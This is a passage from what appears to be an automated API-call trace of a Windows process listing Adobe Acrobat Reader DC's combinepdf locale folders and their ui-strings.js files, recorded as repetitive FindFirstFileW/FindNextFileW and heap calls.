ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.680] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.680] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.681] GetProcessHeap () returned 0xc10000 [0248.681] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.681] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0248.681] GetProcessHeap () returned 0xc10000 [0248.681] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.681] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nb-no\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0248.682] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.682] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.682] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.683] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0248.683] GetProcessHeap () returned 0xc10000 [0248.683] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.683] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0248.683] GetProcessHeap () returned 0xc10000 [0248.683] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.683] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\nl-nl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.684] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x47f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.684] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.685] GetProcessHeap () returned 0xc10000 [0248.685] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.685] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0248.685] GetProcessHeap () returned 0xc10000 [0248.685] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.685] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pl-pl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.685] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.686] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.686] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.686] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.686] GetProcessHeap () returned 0xc10000 [0248.686] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.686] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0248.687] GetProcessHeap () returned 0xc10000 [0248.687] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.687] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\pt-br\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.688] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.688] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.688] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x465, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.688] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.689] GetProcessHeap () returned 0xc10000 [0248.689] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.689] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0248.689] GetProcessHeap () returned 0xc10000 [0248.689] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.689] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ro-ro\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.690] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf037de3b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf037de3b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf037de3b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x490, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.691] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.691] GetProcessHeap () returned 0xc10000 [0248.691] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.691] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0248.691] GetProcessHeap () returned 0xc10000 [0248.691] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.691] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0248.692] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.692] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.692] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03a407f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03a407f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03a407f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.692] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0248.692] GetProcessHeap () returned 0xc10000 [0248.692] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.693] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0248.693] GetProcessHeap () returned 0xc10000 [0248.693] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.693] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.694] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.694] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0248.694] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0248.694] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0248.694] GetProcessHeap () returned 0xc10000 [0248.695] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0248.695] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0248.695] GetProcessHeap () returned 0xc10000 [0248.695] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0248.695] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0248.696] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, 